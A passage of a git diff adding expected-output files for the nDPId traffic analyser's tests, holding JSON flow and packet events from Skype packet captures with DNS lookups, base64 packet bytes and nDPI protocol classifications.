+00426{"flow_id":310,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3265,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969807,"pkt_ts_usec":703292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0gkhAAEAGxXPAqAEiTsric8PgcYPYQ6CkVPCO1YARECnJNgAAAQEICj4lDf8CUMnN"} +00426{"flow_id":310,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3273,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969808,"pkt_ts_usec":350555,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OwJAAEAGDLrAqAEiTsric8PgcYPYQ6CkVPCO1YARECnGsgAAAQEICj4lEIMCUMnN"} +00439{"flow_id":305,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3282,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969808,"pkt_ts_usec":684170,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8us9AAEAGP5vAqAEiUA4uecPdET\/5wLpfrY8XW4AZECiq1wAAAQEICj4lEdAAA1guNacy1AseEXM="} diff --git a/test/results/skype_no_unknown.pcap.out b/test/results/skype_no_unknown.pcap.out new file mode 100644 index 000000000..2156a0c9a --- /dev/null +++ b/test/results/skype_no_unknown.pcap.out @@ -0,0 +1,1994 @@ +00443{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431970632290,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.219","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970632,"pkt_ts_usec":290618,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":16,"pkt":"AQBeAAAWJKQ8\/kzXCABGwAAoAABAAAECQXbAqAHb4AAAFpQEAAAiADajAAAAAQIAAADpWbwBAAAAAAAA"} +00475{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431970632290,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.219","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1431970634276,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55028,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":276297,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAj1gAAEARZ+HAqAEiwKgBAdb0ADUALMTUeDABAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1431970634276,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55028,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"a.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1431970634276,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64971,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":276471,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAlRoAAEARYh\/AqAEiwKgBAf3LADUALKDXdTsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1431970634276,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64971,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"a.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1431970634431,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":60688,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":431836,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDXEcAAEARmu\/AqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1431970634431,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":60688,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"conn.skype.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1431970634432,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58631,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":432009,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDrh8AAEARSRfAqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1431970634432,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58631,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"conn.skype.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1431970634589,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64240,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":589949,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7UlwAAEARpOLAqAEiwKgBAfrwADUAJ8Zq760BAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1431970634589,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64240,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"api.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1431970634591,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49864,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":591842,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA75y8AAEAREA\/AqAEiwKgBAcLIADUAJ6plKNsBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1431970634591,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49864,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"api.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1431970634648,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":61016,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":648740,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"0NQSxnP1PBXCt3IOCABFAABCEa4AAEAR5YnAqAEiwKgBAe5YADUALntuuqkBAAABAAAAAAAABGFwcHMLc2t5cGVhc3NldHMDY29tAAABAAE="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1431970634648,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":61016,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"apps.skypeassets.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1431970634669,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57694,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":669345,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXFu0AAEAR4DXAqAEiwKgBAeFeADUAQ\/HxjTUBAAABAAAAAAAADkRCM01TR1I1MDExNzA5B2dhdGV3YXkJbWVzc2VuZ2VyBGxpdmUDY29tAAAcAAE="} +00668{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1431970634669,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57694,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"db3msgr5011709.gateway.messenger.live.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00571{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":723111,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"PBXCt3IO0NQSxnP1CABFAACYAABAAEARtuHAqAEBwKgBIgA14V4AhKxSjTWBgAABAAAAAQAADkRCM01TR1I1MDExNzA5B2dhdGV3YXkJbWVzc2VuZ2VyBGxpdmUDY29tAAAcAAHALQAGAAEAAAbhADUDbnMxBG1zZnQDbmV0AAZtc25oc3QJbWljcm9zb2Z0wDJ4Gz7uAAAcIAAAA4QAJOoAAAAOEA=="} +00690{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":12,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":2,"flow_first_seen":1431970634669,"flow_last_seen":1431970634723,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":67,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57694,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"db3msgr5011709.gateway.messenger.live.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1431970634728,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":51229,"dst_port":40009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":728684,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABADqBAAEAGmPnAqAEinTg0HMgdnEkK2QRYAAAAALAC\/\/9q8wAAAgQFtAEDAwUBAQgKPjGHIQAAAAAEAgAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1431970634728,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":62875,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":728986,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/L\/oAAEARx0DAqAEiwKgBAfWbADUAK9VUuF8BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAABAAE="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":14,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1431970634728,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":62875,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"dsn13.d.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1431970634729,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":59113,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":729529,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/lFMAAEARYufAqAEiwKgBAebpADUAK335A20BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAAcAAE="} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1431970634729,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":59113,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"dsn13.d.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1431970634729,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.126.211","src_port":51230,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":729598,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAt4dAAEAGpVrAqAEinTh+08geAbsxSRU0AAAAALAC\/\/+DfQAAAgQFtAEDAwUBAQgKPjGHIQAAAAAEAgAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1431970634730,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57592,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":730943,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLIWAAAEAR1c7AqAEiwKgBAeD4ADUANz9NJ5kBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAABAAE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1431970634730,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57592,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst11.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1431970634731,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":53372,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":731075,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL+hcAAEAR\/RbAqAEiwKgBAdB8ADUAN25j7f4BAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAAcAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1431970634731,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":53372,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": 